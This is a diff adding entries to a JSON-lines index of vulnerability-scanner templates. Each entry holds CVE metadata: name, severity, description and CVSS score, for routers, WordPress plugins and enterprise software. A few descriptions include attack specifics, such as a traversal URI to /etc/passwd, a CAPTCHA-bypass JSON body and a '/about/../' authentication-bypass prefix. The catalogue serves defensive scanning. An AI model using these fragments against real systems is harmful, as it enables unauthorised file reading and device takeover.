 {"ID":"CVE-2019-19411","Info":{"Name":"Huawei Firewall - Local File Inclusion","Severity":"low","Description":"USG9500 with versions of V500R001C30SPC100, V500R001C30SPC200, V500R001C30SPC600, V500R001C60SPC500, V500R005C00SPC100, V500R005C00SPC200 have an information leakage vulnerability. Due to improper processing of the initialization vector used in a specific encryption algorithm, an attacker who gains access to this cryptographic primitive may exploit this vulnerability to cause the value of the confidentiality associated with its use to be diminished.\n","Classification":{"CVSSScore":"3.7"}},"file_path":"http/cves/2019/CVE-2019-19411.yaml"}
 {"ID":"CVE-2019-1943","Info":{"Name":"Cisco Small Business 200,300 and 500 Series Switches - Open Redirect","Severity":"medium","Description":"Cisco Small Business 200,300 and 500 Series Switches contain an open redirect vulnerability in the Web UI. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-1943.yaml"}
 {"ID":"CVE-2019-19781","Info":{"Name":"Citrix ADC and Gateway - Directory Traversal","Severity":"critical","Description":"Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 are susceptible to directory traversal vulnerabilities.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-19781.yaml"}
+{"ID":"CVE-2019-19822","Info":{"Name":"TOTOLINK/Realtek Routers - Information Disclosure","Severity":"high","Description":"A certain router administration interface using Realtek APMIB (e.g., on TOTOLINK models) allows unauthenticated remote attackers to disclose the entire router configuration, including sensitive credentials, via accessing the \"config.dat\" file. Affected devices include TOTOLINK A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-based devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-19822.yaml"}
+{"ID":"CVE-2019-19823","Info":{"Name":"TOTOLINK/Realtek Routers - Information Disclosure","Severity":"high","Description":"A certain router administration interface using Realtek APMIB (e.g., on TOTOLINK models) allows unauthenticated remote attackers to disclose the entire router configuration, including sensitive credentials, via accessing the \"config.dat\" file. Affected devices include TOTOLINK A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-based devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-19823.yaml"}
 {"ID":"CVE-2019-19824","Info":{"Name":"TOTOLINK Realtek SD Routers - Remote Command Injection","Severity":"high","Description":"TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2019/CVE-2019-19824.yaml"}
+{"ID":"CVE-2019-19825","Info":{"Name":"TOTOLINK/Realtek Routers - CAPTCHA Bypass","Severity":"critical","Description":"On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {\"topicurl\":\"setting/getSanvas\"}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-19825.yaml"}
 {"ID":"CVE-2019-19908","Info":{"Name":"phpMyChat-Plus 1.98 - Cross-Site Scripting","Severity":"medium","Description":"phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-19908.yaml"}
 {"ID":"CVE-2019-19985","Info":{"Name":"WordPress Email Subscribers \u0026 Newsletters \u003c4.2.3 - Arbitrary File Retrieval","Severity":"medium","Description":"WordPress Email Subscribers \u0026 Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can  obtain sensitive information, modify data, and/or execute unauthorized administrative operations.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2019/CVE-2019-19985.yaml"}
 {"ID":"CVE-2019-20085","Info":{"Name":"TVT NVMS 1000 - Local File Inclusion","Severity":"high","Description":"TVT NVMS-1000 devices allow GET /.. local file inclusion attacks.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-20085.yaml"}
@@ -830,6 +838,7 @@
 {"ID":"CVE-2019-20933","Info":{"Name":"InfluxDB \u003c1.7.6 - Authentication Bypass","Severity":"critical","Description":"InfluxDB before 1.7.6 contains an authentication bypass vulnerability via the authenticate function in services/httpd/handler.go. A JWT token may have an empty SharedSecret (aka shared secret). An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-20933.yaml"}
 {"ID":"CVE-2019-25141","Info":{"Name":"Easy WP SMTP \u003c= 1.3.9 - Missing Authorization to Arbitrary Options Update","Severity":"critical","Description":"The Easy WP SMTP plugin for WordPress is vulnerable to authorization bypass in versions up to, and including, 1.3.9. This is due to missing capability checks on the admin_init() function, in addition to insufficient input validation. This makes it possible for unauthenticated attackers to modify the plugins settings and arbitrary options on the site that can be used to inject new administrative user accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-25141.yaml"}
 {"ID":"CVE-2019-25152","Info":{"Name":"Abandoned Cart Lite for WooCommerce \u003c 5.2.0 - Cross-Site Scripting","Severity":"high","Description":"The Abandoned Cart Lite for WooCommerce and Abandoned Cart Pro for WooCommerce plugins for WordPress are vulnerable to Stored Cross-Site Scripting via multiple parameters in versions up to, and including, 5.1.3 and 7.12.0 respectively, due to insufficient input sanitization and output escaping.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2019/CVE-2019-25152.yaml"}
+{"ID":"CVE-2019-25213","Info":{"Name":"WordPress Advanced Access Manager - Path Traversal","Severity":"critical","Description":"The Advanced Access Manager plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read in versions up to, and including, 5.9.8.1 due to insufficient validation on the aam-media parameter. This allows unauthenticated attackers to read any file on the server, including sensitive files such as wp-config.php\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-25213.yaml"}
 {"ID":"CVE-2019-2578","Info":{"Name":"Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 - Broken Access Control","Severity":"high","Description":"Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 suffers from broken access control. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data.","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2019/CVE-2019-2578.yaml"}
 {"ID":"CVE-2019-2579","Info":{"Name":"Oracle Fusion Middleware WebCenter Sites 12.2.1.3.0 - SQL Injection","Severity":"medium","Description":"The Oracle WebCenter Sites component of Oracle Fusion Middleware 12.2.1.3.0 is susceptible to SQL injection via an easily exploitable vulnerability that allows low privileged attackers with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle WebCenter Sites accessible data.","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2019/CVE-2019-2579.yaml"}
 {"ID":"CVE-2019-2588","Info":{"Name":"Oracle Business Intelligence - Path Traversal","Severity":"medium","Description":"Oracle Business Intelligence versions 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0 are vulnerable to path traversal in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware (subcomponent: BI Publisher Security).\n","Classification":{"CVSSScore":"4.9"}},"file_path":"http/cves/2019/CVE-2019-2588.yaml"}
@@ -928,6 +937,7 @@
 {"ID":"CVE-2020-11546","Info":{"Name":"SuperWebmailer 7.21.0.01526 - Remote Code Execution","Severity":"critical","Description":"SuperWebMailer 7.21.0.01526 is susceptible to a remote code execution vulnerability in the Language parameter of mailingupgrade.php. An unauthenticated remote attacker can exploit this behavior to execute arbitrary PHP code via Code Injection.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-11546.yaml"}
 {"ID":"CVE-2020-11547","Info":{"Name":"PRTG Network Monitor \u003c20.1.57.1745 - Information Disclosure","Severity":"medium","Description":"PRTG Network Monitor before 20.1.57.1745 is susceptible to information disclosure. An attacker can obtain information about probes running or the server itself via an HTTP request, thus potentially being able to modify data and/or execute unauthorized administrative operations in the context of the affected site.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2020/CVE-2020-11547.yaml"}
 {"ID":"CVE-2020-11710","Info":{"Name":"Kong Admin \u003c=2.03 - Admin API Access","Severity":"critical","Description":"Kong Admin through 2.0.3 contains an issue via docker-kong which makes the admin API port accessible on interfaces other than 127.0.0.1.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-11710.yaml"}
+{"ID":"CVE-2020-11732","Info":{"Name":"Media Library Assistant \u003c 2.82 - Unauthenticated Limited Local File Inclusion","Severity":"high","Description":"Media Library Assistant plugin for WordPress before 2.82 contains a local file inclusion caused by unsanitized mla_gallery link parameter, letting attackers include arbitrary local files, exploit requires access to the vulnerable link.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-11732.yaml"}
 {"ID":"CVE-2020-11738","Info":{"Name":"WordPress Duplicator 1.3.24 \u0026 1.3.26 - Local File Inclusion","Severity":"high","Description":"WordPress Duplicator 1.3.24 \u0026 1.3.26 are vulnerable to local file inclusion vulnerabilities that could allow attackers to download arbitrary files, such as the wp-config.php file. According to the vendor, the vulnerability was only in two\nversions v1.3.24 and v1.3.26, the vulnerability wasn't\npresent in versions 1.3.22 and before.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-11738.yaml"}
 {"ID":"CVE-2020-11798","Info":{"Name":"Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal","Severity":"medium","Description":"A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2020/CVE-2020-11798.yaml"}
 {"ID":"CVE-2020-11853","Info":{"Name":"Micro Focus Operations Bridge Manager \u003c=2020.05 - Remote Code Execution","Severity":"high","Description":"Micro Focus Operations Bridge Manager in versions 2020.05 and below is vulnerable to remote code execution via UCMDB. The vulnerability allows remote attackers to execute arbitrary code on affected installations of Data Center Automation. An attack requires network access and authentication as a valid application user. Originated from Metasploit module (#14654).\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2020/CVE-2020-11853.yaml"}
@@ -1259,6 +1269,7 @@
 {"ID":"CVE-2021-22911","Info":{"Name":"Rocket.Chat \u003c=3.13 - NoSQL Injection","Severity":"critical","Description":"Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-22911.yaml"}
 {"ID":"CVE-2021-22986","Info":{"Name":"F5 iControl REST - Remote Command Execution","Severity":"critical","Description":"F5 iControl REST interface is susceptible to remote command execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. This affects BIG-IP 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3; and BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-22986.yaml"}
 {"ID":"CVE-2021-23241","Info":{"Name":"MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion","Severity":"medium","Description":"MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-23241.yaml"}
+{"ID":"CVE-2021-23394","Info":{"Name":"elFinder \u003c 2.1.58 - Remote Code Execution","Severity":"high","Description":"studio-42/elfinder before 2.1.58 contains a remote code execution caused by execution of PHP code in a .phar file, letting attackers execute arbitrary PHP code if the server parses .phar files as PHP, exploit requires server to parse .phar files as PHP.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2021/CVE-2021-23394.yaml"}
 {"ID":"CVE-2021-24145","Info":{"Name":"WordPress Modern Events Calendar Lite \u003c5.16.5 - Authenticated Arbitrary File Upload","Severity":"high","Description":"WordPress Modern Events Calendar Lite plugin before 5.16.5 is susceptible to authenticated arbitrary file upload. The plugin does not properly check the imported file, allowing PHP files to be uploaded and/or executed by an administrator or other high-privilege user using the text/csv content-type in the request. This can possibly lead to remote code execution.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2021/CVE-2021-24145.yaml"}
 {"ID":"CVE-2021-24146","Info":{"Name":"WordPress Modern Events Calendar Lite \u003c5.16.5 - Sensitive Information Disclosure","Severity":"high","Description":"WordPress Modern Events Calendar Lite before 5.16.5 does not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-24146.yaml"}
 {"ID":"CVE-2021-24150","Info":{"Name":"WordPress Like Button Rating \u003c2.6.32 - Server-Side Request Forgery","Severity":"high","Description":"WordPress Like Button Rating plugin before 2.6.32 is susceptible to server-side request forgery. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-24150.yaml"}
@@ -1512,6 +1523,7 @@
 {"ID":"CVE-2021-33904","Info":{"Name":"Accela Civic Platform \u003c=21.1 - Cross-Site Scripting","Severity":"medium","Description":"Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-33904.yaml"}
 {"ID":"CVE-2021-34187","Info":{"Name":"Chamilo model.ajax.php - SQL Injection","Severity":"critical","Description":"main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-34187.yaml"}
 {"ID":"CVE-2021-34370","Info":{"Name":"Accela Civic Platform \u003c=21.1 - Cross-Site Scripting","Severity":"medium","Description":"Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via  ssoAdapter/logoutAction.do successURL.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-34370.yaml"}
+{"ID":"CVE-2021-34427","Info":{"Name":"Eclipse BIRT Viewer - Remote Code Execution","Severity":"critical","Description":"Eclipse BIRT versions 4.8.0 and earlier contain a JSP injection caused by query parameters, letting remote attackers create and access malicious JSP files in the viewer directory, exploit requires sending crafted query parameters.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-34427.yaml"}
 {"ID":"CVE-2021-34429","Info":{"Name":"Eclipse Jetty - Information Disclosure","Severity":"medium","Description":"Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-34429.yaml"}
 {"ID":"CVE-2021-34473","Info":{"Name":"Exchange Server - Remote Code Execution","Severity":"critical","Description":"Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2021/CVE-2021-34473.yaml"}
 {"ID":"CVE-2021-34621","Info":{"Name":"WordPress ProfilePress  3.0.0-3.1.3 - Admin User Creation Weakness","Severity":"critical","Description":"ProfilePress WordPress plugin  is susceptible to a vulnerability in the user registration component in the ~/src/Classes/RegistrationAuth.php file that makes it possible for users to register on sites as an administrator.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-34621.yaml"}
@@ -1542,6 +1554,7 @@
 {"ID":"CVE-2021-36748","Info":{"Name":"PrestaHome Blog for PrestaShop \u003c1.7.8 - SQL Injection","Severity":"high","Description":"PrestaHome Blog for PrestaShop prior to version 1.7.8 is vulnerable to a SQL injection (blind) via the sb_category parameter.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-36748.yaml"}
 {"ID":"CVE-2021-36749","Info":{"Name":"Apache Druid - Local File Inclusion","Severity":"medium","Description":"Apache Druid ingestion system is vulnerable to local file inclusion. The InputSource is used for reading data from a certain data source. However, the HTTP InputSource allows authenticated users to read data from other sources than intended, such as the local file system, with the privileges of the Druid server process. This is not an elevation of privilege when users access Druid directly, since Druid also provides the Local InputSource, which allows the same level of access. But it is problematic when users interact with Druid indirectly through an application that allows users to specify the HTTP InputSource, but not the Local InputSource. In this case, users could bypass the application-level restriction by passing a file URL to the HTTP InputSource. This issue was previously mentioned as being fixed in 0.21.0 as per CVE-2021-26920 but was not fixed in 0.21.0 or 0.21.1.","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2021/CVE-2021-36749.yaml"}
 {"ID":"CVE-2021-36873","Info":{"Name":"WordPress iQ Block Country \u003c=1.2.11 - Cross-Site Scripting","Severity":"medium","Description":"WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2021/CVE-2021-36873.yaml"}
+{"ID":"CVE-2021-36888","Info":{"Name":"WordPress Image Hover Ultimate - Unauthenticated Settings Update","Severity":"critical","Description":"Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions \u003c= 9.6.1) WordPress plugin.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-36888.yaml"}
 {"ID":"CVE-2021-37216","Info":{"Name":"QSAN Storage Manager \u003c3.3.3 - Cross-Site Scripting","Severity":"medium","Description":"QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability.  Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-37216.yaml"}
 {"ID":"CVE-2021-37291","Info":{"Name":"KevinLAB BEMS 1.0 - SQL Injection","Severity":"critical","Description":"KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-37291.yaml"}
 {"ID":"CVE-2021-37292","Info":{"Name":"KevinLAB BEMS (Building Energy Management System) - Backdoor Account","Severity":"high","Description":"KevinLAB BEMS has an undocumented backdoor account, and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel, and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2021/CVE-2021-37292.yaml"}
@@ -1592,6 +1605,7 @@
 {"ID":"CVE-2021-40651","Info":{"Name":"OS4Ed OpenSIS Community 8.0 - Local File Inclusion","Severity":"medium","Description":"OS4Ed OpenSIS Community 8.0 is vulnerable to a local file inclusion vulnerability in Modules.php (modname parameter), which can disclose arbitrary file from the server's filesystem as long as the application has access to the file.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2021/CVE-2021-40651.yaml"}
 {"ID":"CVE-2021-40655","Info":{"Name":"D-Link DIR-605 - Information Disclosure","Severity":"high","Description":"An informtion disclosure issue exists in D-LINK-DIR-605 B2 Firmware Version - 2.01MT. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-40655.yaml"}
 {"ID":"CVE-2021-40661","Info":{"Name":"IND780 - Local File Inclusion","Severity":"high","Description":"IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10') is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the 'webpage' parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-40661.yaml"}
+{"ID":"CVE-2021-4073","Info":{"Name":"RegistrationMagic \u003c= 5.0.1.7 - Authentication Bypass","Severity":"critical","Description":"RegistrationMagic WordPress plugin versions \u003c= 5.0.1.7 contain an authentication bypass caused by missing identity validation in social_login_using_email(), letting unauthenticated users log in as any site user, exploit requires knowing a valid username.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4073.yaml"}
 {"ID":"CVE-2021-40822","Info":{"Name":"Geoserver - Server-Side Request Forgery","Severity":"high","Description":"GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-40822.yaml"}
 {"ID":"CVE-2021-40856","Info":{"Name":"Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass","Severity":"high","Description":"Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix \"/about/../\" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-40856.yaml"}
 {"ID":"CVE-2021-40859","Info":{"Name":"Auerswald COMpact 5500R 7.8A and 8.0B Devices Backdoor","Severity":"critical","Description":"Auerswald COMpact 5500R 7.8A and 8.0B devices contain an unauthenticated endpoint (\"https://192.168.1[.]2/about_state\"), enabling the bad actor to gain backdoor access to a web interface that allows for resetting the administrator password.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-40859.yaml"}
@@ -1654,6 +1668,7 @@
 {"ID":"CVE-2021-43574","Info":{"Name":"Atmail 6.5.0 - Cross-Site Scripting","Severity":"medium","Description":"Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-43574.yaml"}
 {"ID":"CVE-2021-43725","Info":{"Name":"Spotweb \u003c= 1.5.1 - Cross Site Scripting (Reflected)","Severity":"medium","Description":"There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-43725.yaml"}
 {"ID":"CVE-2021-43734","Info":{"Name":"kkFileview v4.0.0 - Local File Inclusion","Severity":"high","Description":"kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-43734.yaml"}
+{"ID":"CVE-2021-4374","Info":{"Name":"WordPress Automatic Plugin - Unauthenticated Options Change","Severity":"critical","Description":"WordPress Automatic Plugin (versions 3.53.2 and below) contains a critical vulnerability that allows unauthenticated users to change arbitrary WordPress options through the process_form.php script. The vulnerable script uses update_option() on all POST parameters without authentication or capability checks, allowing attackers to create administrator accounts or modify critical settings. The vulnerability can be exploited even if the plugin is deactivated as it's a standalone script.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4374.yaml"}
 {"ID":"CVE-2021-43778","Info":{"Name":"GLPI plugin Barcode \u003c 2.6.1 - Path Traversal Vulnerability.","Severity":"high","Description":"Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-43778.yaml"}
 {"ID":"CVE-2021-43798","Info":{"Name":"Grafana v8.x - Arbitrary File Read","Severity":"high","Description":"Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `\u003cgrafana_host_url\u003e/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-43798.yaml"}
 {"ID":"CVE-2021-4380","Info":{"Name":"Pinterest Automatic \u003c 4.14.4 - Unauthenticated Arbitrary Options Update","Severity":"critical","Description":"The Pinterest Automatic plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on the 'wp_pinterest_automatic_parse_request' function and the 'process_form.php' script in versions up to, and including, 1.14.3. This makes it possible for unauthenticated attackers to update arbitrary options on a site that can be used to create new administrative user accounts or redirect unsuspecting site visitors.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4380.yaml"}
@@ -1668,9 +1683,11 @@
 {"ID":"CVE-2021-4436","Info":{"Name":"3DPrint Lite \u003c 1.9.1.5 - Arbitrary File Upload","Severity":"critical","Description":"The plugin does not have any authorisation and does not check the uploaded file in its p3dlite_handle_upload AJAX action , allowing unauthenticated users to upload arbitrary file to the web server. However, there is a .htaccess, preventing the file to be accessed on Web servers such as Apache.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4436.yaml"}
 {"ID":"CVE-2021-44427","Info":{"Name":"Rosario Student Information System Unauthenticated SQL Injection","Severity":"critical","Description":"An unauthenticated SQL injection vulnerability in Rosario Student Information System (aka rosariosis) 8.1 and below allow remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-44427.yaml"}
 {"ID":"CVE-2021-44451","Info":{"Name":"Apache Superset \u003c=1.3.2 - Default Login","Severity":"medium","Description":"Apache Superset through 1.3.2 contains a default login vulnerability via registered database connections for authenticated users. An attacker can obtain access to user accounts and thereby obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2021/CVE-2021-44451.yaml"}
+{"ID":"CVE-2021-4449","Info":{"Name":"ZoomSounds Plugin - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"ZoomSounds plugin for WordPress contains a file upload vulnerability in savepng.php\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4449.yaml"}
 {"ID":"CVE-2021-44515","Info":{"Name":"Zoho ManageEngine Desktop Central - Remote Code Execution","Severity":"critical","Description":"Zoho ManageEngine Desktop Central contains an authentication bypass vulnerability that could allow an attacker to execute arbitrary code in the Desktop Central MSP server.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-44515.yaml"}
 {"ID":"CVE-2021-44528","Info":{"Name":"Open Redirect in Host Authorization Middleware","Severity":"medium","Description":"Specially crafted \"X-Forwarded-Host\" headers in combination with certain \"allowed host\" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-44528.yaml"}
 {"ID":"CVE-2021-44529","Info":{"Name":"Ivanti EPM Cloud Services Appliance Code Injection","Severity":"critical","Description":"Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-44529.yaml"}
